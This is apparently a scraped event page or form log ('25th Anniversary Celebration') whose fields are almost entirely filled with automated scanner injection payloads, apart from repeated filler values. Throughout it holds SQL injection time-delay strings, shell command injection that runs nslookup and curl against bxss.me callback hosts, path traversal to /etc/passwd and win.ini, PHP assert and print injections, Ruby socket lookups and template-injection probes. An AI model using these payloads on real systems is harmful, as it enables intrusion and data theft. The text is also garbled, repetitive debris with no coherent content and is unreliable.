-
1
555
-
1
555
-
25th ANNIVERSARY CELEBRATION1
-
25th ANNIVERSARY
-
25th ANNIVERSARY 2
-
25th ANNIVERSARY 3
-
1
555
-
1
555
-
1
555
-
1lM4lkfVO
555
-
1
555
-
1
555
-
1
555
-
1
1q6sEaegO
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
response.write(9241678*9345019)
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
'+response.write(9241678*9345019)+'
555
-
redirtest.acx
555
-
1
555
-
1
555
-
1
555
-
1
555
-
"+response.write(9241678*9345019)+"
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
redirtest.acx
-
../../../../../../../../../../../../../../etc/passwd
555
-
1
555
-
1
555
-
1
555
-
../../../../../../../../../../../../../../windows/win.ini
555
-
1
555
-
1
555
-
file:///etc/passwd
555
-
1
555
-
1
555
-
1
555
-
../1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
response.write(9429891*9426065)
-
1
555
-
1
555
-
1
'+response.write(9429891*9426065)+'
-
1
555
-
1
555
-
1
555
-
1
"+response.write(9429891*9426065)+"
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
echo qvklph$()\ iovhkl\nz^xyu||a #' &echo qvklph$()\ iovhkl\nz^xyu||a #|" &echo qvklph$()\ iovhkl\nz
555
-
1
555
-
&echo ttednk$()\ qqxtau\nz^xyu||a #' &echo ttednk$()\ qqxtau\nz^xyu||a #|" &echo ttednk$()\ qqxtau\n
555
-
1
555
-
1&echo tkiapb$()\ ziadvc\nz^xyu||a #' &echo tkiapb$()\ ziadvc\nz^xyu||a #|" &echo tkiapb$()\ ziadvc\
555
-
1
555
-
|echo wpwufn$()\ jkzjiz\nz^xyu||a #' |echo wpwufn$()\ jkzjiz\nz^xyu||a #|" |echo wpwufn$()\ jkzjiz\n
555
-
1
555
-
1
555
-
1
555
-
1|echo reusyk$()\ ljjoci\nz^xyu||a #' |echo reusyk$()\ ljjoci\nz^xyu||a #|" |echo reusyk$()\ ljjoci\
555
-
1
555
-
1
555
-
expr 9000373831 - 949677
555
-
1
555
-
1
555
-
(nslookup -q=cname hitdffafwkilqd4b33.bxss.me||curl hitdffafwkilqd4b33.bxss.me))
555
-
1
555
-
)
555
-
$(nslookup -q=cname hityzargzsvuj1679d.bxss.me||curl hityzargzsvuj1679d.bxss.me)
555
-
1
555
-
&nslookup -q=cname hitxuywgvbvifdb145.bxss.me&'\"`0&nslookup -q=cname hitxuywgvbvifdb145.bxss.me&`'
555
-
!(()&&!|*|*|
555
-
1
555
-
&(nslookup -q=cname hitngjiyxjwzd487fe.bxss.me||curl hitngjiyxjwzd487fe.bxss.me)&'\"`0&(nslookup -q=
555
-
^(#$!@#$)(()))******
555
-
1
555
-
1
555
-
|(nslookup -q=cname hithxtiwyhfrkc0afc.bxss.me||curl hithxtiwyhfrkc0afc.bxss.me)
555
-
1
555
-
1
555
-
`(nslookup -q=cname hitoawezhuvqzc7c28.bxss.me||curl hitoawezhuvqzc7c28.bxss.me)`
555
-
1
555
-
1
555
-
1
555
-
1
555
-
;(nslookup -q=cname hitmdrsaoykucc59a0.bxss.me||curl hitmdrsaoykucc59a0.bxss.me)|(nslookup -q=cname
555
-
1
555
-
|(nslookup${IFS}-q${IFS}cname${IFS}hitfuvmfyobqd40311.bxss.me||curl${IFS}hitfuvmfyobqd40311.bxss.me)
555
-
1
555
-
&(nslookup${IFS}-q${IFS}cname${IFS}hitpuxvojovaoa2498.bxss.me||curl${IFS}hitpuxvojovaoa2498.bxss.me)
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
)
-
1
555
-
1
555
-
1
555
-
1
!(()&&!|*|*|
-
1
555
-
1
555
-
1
^(#$!@#$)(()))******
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
../../../../../../../../../../../../../../etc/passwd
-
1
555
-
1
555
-
1
../../../../../../../../../../../../../../windows/win.ini
-
1
555
-
1
555
-
1
555
-
1
file:///etc/passwd
-
1
555
-
1
555
-
1
555
-
1
../555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
'.gethostbyname(lc('hitoh'.'jlnizkjhbbb66.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(85).ch
555
-
1
555
-
1
555
-
1
555
-
".gethostbyname(lc("hitqw"."fmtrvrvr8fe39.bxss.me."))."A".chr(67).chr(hex("58")).chr(120).chr(83).ch
555
-
1
555
-
1
555
-
gethostbyname(lc('hitbm'.'yosexdmzabfb1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(68).chr(
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
-
555
-
1
555
-
1
555
-
1
555
-
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
-
555
-
1
555
-
Http://bxss.me/t/fit.txt
555
-
555
-
1
555
-
'"()
555
-
http://bxss.me/t/fit.txt%3F.jpg
555
-
1
555
-
1'&&sleep(27*1000)*drhoab&&'
555
-
/etc/shells
555
-
1
555
-
1
555
-
1
555
-
1"&&sleep(27*1000)*nyujod&&"
555
-
../../../../../../../../../../../../../../etc/shells
555
-
1'||sleep(27*1000)*broeez||'
555
-
1
555
-
1
555
-
c:/windows/win.ini
555
-
1"||sleep(27*1000)*lcdrrd||"
555
-
1
555
-
1
555
-
bxss.me
555
-
1
555
-
1
555
-
1
'.gethostbyname(lc('hitqh'.'gaoprdwj43f89.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(83).chr(121).chr(70).'
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
".gethostbyname(lc("hithh"."bulpmofsc49d8.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(86).chr(112).chr(87)."
-
1
555
-
1
555
-
1
555
-
1
555
-
1
gethostbyname(lc('hitui'.'rbmtppqr0fe7d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(119).chr(76).chr(115).chr(72)
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
HttP://bxss.me/t/xss.html?%00
555
-
1
555
-
1
555
-
1
555
-
bxss.me/t/xss.html?%00
555
-
1
555
-
1
echo mikcri$()\ jbbqwr\nz^xyu||a #' &echo mikcri$()\ jbbqwr\nz^xyu||a #|" &echo mikcri$()\ jbbqwr\nz^xyu||a #
-
1
555
-
1
555
-
1
555
-
1
555
-
1
&echo qjjxsn$()\ npzdrc\nz^xyu||a #' &echo qjjxsn$()\ npzdrc\nz^xyu||a #|" &echo qjjxsn$()\ npzdrc\nz^xyu||a #
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555&echo nupydx$()\ ahbmga\nz^xyu||a #' &echo nupydx$()\ ahbmga\nz^xyu||a #|" &echo nupydx$()\ ahbmga\nz^xyu||a #
-
1
555
-
1
|echo tikyye$()\ qgdqaf\nz^xyu||a #' |echo tikyye$()\ qgdqaf\nz^xyu||a #|" |echo tikyye$()\ qgdqaf\nz^xyu||a #
-
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
-
1
555
-
';print(md5(31337));$a='
555
-
1
555
-
1
555|echo ycryay$()\ cjxyak\nz^xyu||a #' |echo ycryay$()\ cjxyak\nz^xyu||a #|" |echo ycryay$()\ cjxyak\nz^xyu||a #
-
";print(md5(31337));$a="
555
-
1QOUy4ekN
555
-
1
HttP://bxss.me/t/xss.html?%00
-
1
expr 9000462327 - 982382
-
${@print(md5(31337))}
555
-
1
bxss.me/t/xss.html?%00
-
1
(nslookup -q=cname hituasbwefxheb9b68.bxss.me||curl hituasbwefxheb9b68.bxss.me))
-
1
555
-
1
555
-
${@print(md5(31337))}\
555
-
1
$(nslookup -q=cname hitycopvgtcdg50a9b.bxss.me||curl hitycopvgtcdg50a9b.bxss.me)
-
1
555
-
1
555
-
'.print(md5(31337)).'
555
-
1
555
-
1
&nslookup -q=cname hitgqpigvudph1931e.bxss.me&'\"`0&nslookup -q=cname hitgqpigvudph1931e.bxss.me&`'
-
1
555
-
1
555
-
1
555
-
1
&(nslookup -q=cname hitnemkzyciun18ec4.bxss.me||curl hitnemkzyciun18ec4.bxss.me)&'\"`0&(nslookup -q=cname hitnemkzyciun18ec4.bxss.me||curl hitnemkzyciun18ec4.bxss.me)&`'
-
1
555
-
1
555
-
1
555
-
1
555
-
1
|(nslookup -q=cname hitpsnnxrnhvb745ec.bxss.me||curl hitpsnnxrnhvb745ec.bxss.me)
-
1
555
-
1
555
-
1
555
-
1
555
-
1
`(nslookup -q=cname hitctryhkmvad612b9.bxss.me||curl hitctryhkmvad612b9.bxss.me)`
-
1
555
-
1
555
-
"+"A".concat(70-3).concat(22*4).concat(99).concat(90).concat(121).concat(68)+(require"socket"
Socket
555
-
1
555
-
1
555
-
1
;(nslookup -q=cname hitspqdtvnmorb6fff.bxss.me||curl hitspqdtvnmorb6fff.bxss.me)|(nslookup -q=cname hitspqdtvnmorb6fff.bxss.me||curl hitspqdtvnmorb6fff.bxss.me)&(nslookup -q=cname hitspqdtvnmorb6fff.b
-
1
555
-
1
555
-
'+'A'.concat(70-3).concat(22*4).concat(122).concat(69).concat(110).concat(88)+(require'socket'
Socke
555
-
1
555
-
-1 OR 2+317-317-1=0+0+0+1 --
555
-
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitqtiojfruqpe5802.bxss.me||curl${IFS}hitqtiojfruqpe5802.bxss.me)
-
1
555
-
1
555
-
'A'.concat(70-3).concat(22*4).concat(105).concat(74).concat(106).concat(78)+(require'socket'
Socket.
555
-
-1 OR 2+316-316-1=0+0+0+1
555
-
1
555
-
1
&(nslookup${IFS}-q${IFS}cname${IFS}hitgpfncgazoh3295a.bxss.me||curl${IFS}hitgpfncgazoh3295a.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitgpfncgazoh3295a.bxss.me||curl${IFS}hitgpfncgazoh3295a.bx
-
1
555
-
1
555
-
-1' OR 2+125-125-1=0+0+0+1 --
555
-
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
-
1
555
-
1
555
-
1
555
-
-1' OR 2+153-153-1=0+0+0+1 or 'Pz7utL5M'='
555
-
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
-
1
555
-
1
555
-
-1" OR 2+747-747-1=0+0+0+1 --
555
-
1
Http://bxss.me/t/fit.txt
-
1
555
-
1
555
-
1
555
-
1
http://bxss.me/t/fit.txt%3F.jpg
-
1
-
1
555
-
1
/etc/shells
-
1
555
-
1
555
-
1
555
-
1
../../../../../../../../../../../../../../etc/shells
-
1*if(now()=sysdate(),sleep(15),0)
555
-
1
555
-
1
-
1
555
-
1
c:/windows/win.ini
-
1
555
-
1
-
1
bxss.me
-
1
555
-
1
555
-
1
'"()
-
1
555
-
1
555
-
'"
555
-
1
555'&&sleep(27*1000)*vyxchy&&'
-
1
555
-
1
555"&&sleep(27*1000)*tpaibh&&"
-
1
555
-
-
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
555
-
1
555'||sleep(27*1000)*rpuplr||'
-
1
555
-
1
"+"A".concat(70-3).concat(22*4).concat(102).concat(84).concat(104).concat(69)+(require"socket"
Socket.gethostbyname("hitqb"+"lqjimoyy74b62.bxss.me.")[3].to_s)+"
-
1
555
-
1
555"||sleep(27*1000)*wcxgka||"
-
1
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
-
1
'+'A'.concat(70-3).concat(22*4).concat(105).concat(87).concat(102).concat(83)+(require'socket'
Socket.gethostbyname('hitha'+'ljnosngdc7e86.bxss.me.')[3].to_s)+'
-
1
555
-
1
';print(md5(31337));$a='
-
1
555
-
1
'A'.concat(70-3).concat(22*4).concat(100).concat(85).concat(107).concat(78)+(require'socket'
Socket.gethostbyname('hitvr'+'mzxafcop39154.bxss.me.')[3].to_s)
-
1
";print(md5(31337));$a="
-
1
555
-
1
555
-
1
${@print(md5(31337))}
-
1
555
-
1
${@print(md5(31337))}\
-
1
555
-
1
555
-
1
555
-
1
555
-
1
'.print(md5(31337)).'
-
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
'"
-
1
555
-
1
555
-
1
555
-
1
555
-
${9999586+9999023}
555
-
1
555
-
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'????
555
-
1
555
-
1
555
-
555
-
1
555
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(
555
-
1
555
-
1'"()&%
555
-
1
555
-
1
555
-
1
${9999197+9999115}
-
1-1; waitfor delay '0:0:15' --
555
-
'"()&%
555
-
1-1); waitfor delay '0:0:15' --
555
-
1
555
-
19536506
555
-
1
555
-
1
555
-
1
555
-
1
-
1-1 waitfor delay '0:0:15' --
555
-
1
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'????
-
1
-
1
555
-
1
555
-
1dyhMP1jp'; waitfor delay '0:0:15' --
555
-
1
555
-
1-1 OR 190=(SELECT 190 FROM PG_SLEEP(15))--
555
-
1-1) OR 370=(SELECT 370 FROM PG_SLEEP(15))--
555
-
1
555
-
1-1)) OR 685=(SELECT 685 FROM PG_SLEEP(15))--
555
-
1
555
-
1PE3twkoR' OR 773=(SELECT 773 FROM PG_SLEEP(15))--
555
-
1lPfhHRpf') OR 139=(SELECT 139 FROM PG_SLEEP(15))--
555
-
1
555
-
1
555'"()&%
-
1
'"()&%
-
1Rx3av2SV')) OR 716=(SELECT 716 FROM PG_SLEEP(15))--
555
-
1
5559693015
-
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
-
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555
-
1
555
-
1'"
555
-
1????%2527%2522\'\"
555
-
@@xpq2M
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555U9BKW6Ag
-
1
555
-
1
-1 OR 2+663-663-1=0+0+0+1 --
-
1
-1 OR 2+390-390-1=0+0+0+1
-
1
-1' OR 2+232-232-1=0+0+0+1 --
-
1
-1' OR 2+766-766-1=0+0+0+1 or 'vnHJyr6J'='
-
1
-1" OR 2+768-768-1=0+0+0+1 --
-
1
555*if(now()=sysdate(),sleep(15),0)
-
1
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
-
1
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
-
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
1
555-1; waitfor delay '0:0:15' --
-
1
555-1); waitfor delay '0:0:15' --
-
1
555-1 waitfor delay '0:0:15' --
-
1
555WoN3rbFc'; waitfor delay '0:0:15' --
-
1
555-1 OR 655=(SELECT 655 FROM PG_SLEEP(15))--
-
1
555-1) OR 600=(SELECT 600 FROM PG_SLEEP(15))--
-
1
555-1)) OR 139=(SELECT 139 FROM PG_SLEEP(15))--
-
1
555GI5KUaPa' OR 669=(SELECT 669 FROM PG_SLEEP(15))--
-
1
555PxlYi0Mj') OR 245=(SELECT 245 FROM PG_SLEEP(15))--
-
1
555hLVhWILr')) OR 313=(SELECT 313 FROM PG_SLEEP(15))--
-
1
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
1
555
-
1
555'"
-
1
555????%2527%2522\'\"
-
1
@@a2WTN
-
1'"()&%
555
-
19642144
555
-
bfg8752%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8752
555
-
bfgx3268%C0%BEz1%C0%BCz2a%90bcxhjl3268
555
-
<%={{={@{#{${dfb}}%>
555
-
1
555
-
-
1
555
-
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
-
1
555
-
dfb{{98991*97996}}xca
555
-
dfb[[${98991*97996}]]xca
555
-
1
555'"()&%
-
dfb__${98991*97996}__::.x
555
-
1
5559261354
-
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
-
1
bfg9070%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9070
-
1
bfgx3961%C0%BEz1%C0%BCz2a%90bcxhjl3961
-
1
<%={{={@{#{${dfb}}%>
-
1
555
-
1
-
1
555
-
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
-
1
555
-
1
dfb{{98991*97996}}xca
-
1
dfb[[${98991*97996}]]xca
-
1
dfb__${98991*97996}__::.x
-
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
-
1'"()&%
555
-
19138980
555
-
bfg7337%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl7337
555
-
bfgx5516%C0%BEz1%C0%BCz2a%90bcxhjl5516
555
-
<%={{={@{#{${dfb}}%>
555
-
1
555
-
-
1
555
-
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
-
1
555
-
dfb{{98991*97996}}xca
555
-
dfb[[${98991*97996}]]xca
555
-
dfb__${98991*97996}__::.x
555
-
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
-
1
555'"()&%
-
1
5559588125
-
1
bfg9484%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9484
-
1
bfgx7316%C0%BEz1%C0%BCz2a%90bcxhjl7316
-
1
<%={{={@{#{${dfb}}%>
-
1
555
-
1
-
1
555
-
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
-
1
555
-
1
dfb{{98991*97996}}xca
-
1
dfb[[${98991*97996}]]xca
-
1
dfb__${98991*97996}__::.x
-
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
-
1'"()&%
555
-
19329768
555
-
bfg4028%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl4028
555
-
bfgx1969%C0%BEz1%C0%BCz2a%90bcxhjl1969
555
-
<%={{={@{#{${dfb}}%>
555
-
1
555
-
-
1
555'"()&%
-
1
555
-
1
5559842114
-
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
-
1'"()&%
555
-
1
555
-
1
bfg6077%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6077
-
19761988
555
-
dfb{{98991*97996}}xca
555
-
1
bfgx9959%C0%BEz1%C0%BCz2a%90bcxhjl9959
-
bfg8312%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8312
555
-
dfb[[${98991*97996}]]xca
555
-
1
<%={{={@{#{${dfb}}%>
-
bfgx4097%C0%BEz1%C0%BCz2a%90bcxhjl4097
555
-
dfb__${98991*97996}__::.x
555
-
<%={{={@{#{${dfb}}%>
555
-
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
-
1
555
-
1
-
1
555'"()&%
-
1
555
-
1
555
-
1
5559902443
-
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
-
-
1
bfg6074%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl6074
-
1
555
-
1
555
-
1
dfb{{98991*97996}}xca
-
1
bfgx10939%C0%BEz1%C0%BCz2a%90bcxhjl10939
-
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
-
1
<%={{={@{#{${dfb}}%>
-
1
555
-
1
dfb[[${98991*97996}]]xca
-
1
555
-
dfb{{98991*97996}}xca
555
-
1
-
1
dfb__${98991*97996}__::.x
-
1
555
-
dfb[[${98991*97996}]]xca
555
-
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
-
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
-
dfb__${98991*97996}__::.x
555
-
1
555
-
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
-
1
dfb{{98991*97996}}xca
-
1'"()&%
555
-
1
dfb[[${98991*97996}]]xca
-
19977561
555
-
1
dfb__${98991*97996}__::.x
-
bfg1159%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl1159
555
-
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
-
bfgx2937%C0%BEz1%C0%BCz2a%90bcxhjl2937
555
-
<%={{={@{#{${dfb}}%>
555
-
1'"()&%
555
-
1
555
-
1
555'"()&%
-
19743402
555
-
-
1
5559299350
-
bfg7695%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl7695
555
-
1
555
-
1
bfg9159%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl9159
-
bfgx9632%C0%BEz1%C0%BCz2a%90bcxhjl9632
555
-
1
bfgx3920%C0%BEz1%C0%BCz2a%90bcxhjl3920
-
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
-
<%={{={@{#{${dfb}}%>
555
-
1
555
-
1
<%={{={@{#{${dfb}}%>
-
1
555
-
dfb{{98991*97996}}xca
555
-
-
1
555
-
dfb[[${98991*97996}]]xca
555
-
1
555
-
1
-
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
-
1
555
-
dfb__${98991*97996}__::.x
555
-
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
-
1
555'"()&%
-
1
555
-
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
-
1
555
-
1
5559412460
-
dfb{{98991*97996}}xca
555
-
1
dfb{{98991*97996}}xca
-
dfb[[${98991*97996}]]xca
555
-
1
bfg10105%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10105
-
1
dfb[[${98991*97996}]]xca
-
dfb__${98991*97996}__::.x
555
-
1
bfgx4666%C0%BEz1%C0%BCz2a%90bcxhjl4666
-
1
dfb__${98991*97996}__::.x
-
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
-
1
<%={{={@{#{${dfb}}%>
-
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
-
1
555
-
1
-
1
555
-
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
-
1
555
-
1
dfb{{98991*97996}}xca
-
1
dfb[[${98991*97996}]]xca
-
1
dfb__${98991*97996}__::.x
-
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
-
1'"()&%
555
-
1
555'"()&%
-
19547447
555
-
1
5559586328
-
1
bfg10208%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10208
-
bfg5825%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5825
555
-
1
bfgx2590%C0%BEz1%C0%BCz2a%90bcxhjl2590
-
bfgx8108%C0%BEz1%C0%BCz2a%90bcxhjl8108
555
-
1
<%={{={@{#{${dfb}}%>
-
<%={{={@{#{${dfb}}%>
555
-
1
555
-
1
555
-
1
-
-
1
555
-
1
555
-
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
-
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
-
1
555
-
1
555
-
1
dfb{{98991*97996}}xca
-
dfb{{98991*97996}}xca
555
-
1
dfb[[${98991*97996}]]xca
-
dfb[[${98991*97996}]]xca
555
-
1
dfb__${98991*97996}__::.x
-
dfb__${98991*97996}__::.x
555
-
1
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
-
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1DnfNlyiO
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
1YFQcQNAO
-
1
555
-
1
555
-
1
555
-
1
555
-
response.write(9760130*9136501)
555
-
1
555
-
1
555
-
1
555
-
'+response.write(9760130*9136501)+'
555
-
1
555
-
"+response.write(9760130*9136501)+"
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
redirtest.acx
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
redirtest.acx
-
1
555
-
1
555
-
1
555
-
1
555
-
../../../../../../../../../../../../../../etc/passwd
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
../../../../../../../../../../../../../../windows/win.ini
555
-
1
555
-
1
response.write(9831528*9460678)
-
1
555
-
file:///etc/passwd
555
-
1
'+response.write(9831528*9460678)+'
-
1
555
-
1
555
-
1
555
-
1
"+response.write(9831528*9460678)+"
-
../1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
)
555
-
1
555
-
1
555
-
!(()&&!|*|*|
555
-
1
555
-
1
555
-
1
555
-
^(#$!@#$)(()))******
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
echo gjklte$()\ wxfovr\nz^xyu||a #' &echo gjklte$()\ wxfovr\nz^xyu||a #|" &echo gjklte$()\ wxfovr\nz
555
-
&echo bzhyoy$()\ ahpagk\nz^xyu||a #' &echo bzhyoy$()\ ahpagk\nz^xyu||a #|" &echo bzhyoy$()\ ahpagk\n
555
-
1
555
-
1
555
-
1
555
-
1&echo mmhnpf$()\ sffith\nz^xyu||a #' &echo mmhnpf$()\ sffith\nz^xyu||a #|" &echo mmhnpf$()\ sffith\
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
|echo itlzic$()\ szrrcw\nz^xyu||a #' |echo itlzic$()\ szrrcw\nz^xyu||a #|" |echo itlzic$()\ szrrcw\n
555
-
1
555
-
1
)
-
1|echo ozqgip$()\ cmxqqu\nz^xyu||a #' |echo ozqgip$()\ cmxqqu\nz^xyu||a #|" |echo ozqgip$()\ cmxqqu\
555
-
1
555
-
1
555
-
1
555
-
expr 9000124621 - 939607
555
-
1
555
-
1
555
-
1
555
-
1
!(()&&!|*|*|
-
(nslookup -q=cname hitzxgcicecqpcf773.bxss.me||curl hitzxgcicecqpcf773.bxss.me))
555
-
1
555
-
1
^(#$!@#$)(()))******
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
1
555
-
$(nslookup -q=cname hitbnqjjgezeia205c.bxss.me||curl hitbnqjjgezeia205c.bxss.me)
555
-
1
555
-
1
555
-
1
555
-
555
-
&nslookup -q=cname hitgiuhcyjyng4c85a.bxss.me&'\"`0&nslookup -q=cname hitgiuhcyjyng4c85a.bxss.me&`'
555
-
1
555
-
1
555
-
1
555
-
1
555
-
&(nslookup -q=cname hitaxtpimqvzv0a42a.bxss.me||curl hitaxtpimqvzv0a42a.bxss.me)&'\"`0&(nslookup -q=
555
-
1
555
-
1
555
-
1
555
-
|(nslookup -q=cname hitejorffoswce2f65.bxss.me||curl hitejorffoswce2f65.bxss.me)
555
-
1
555
-
1
555
-
555
-
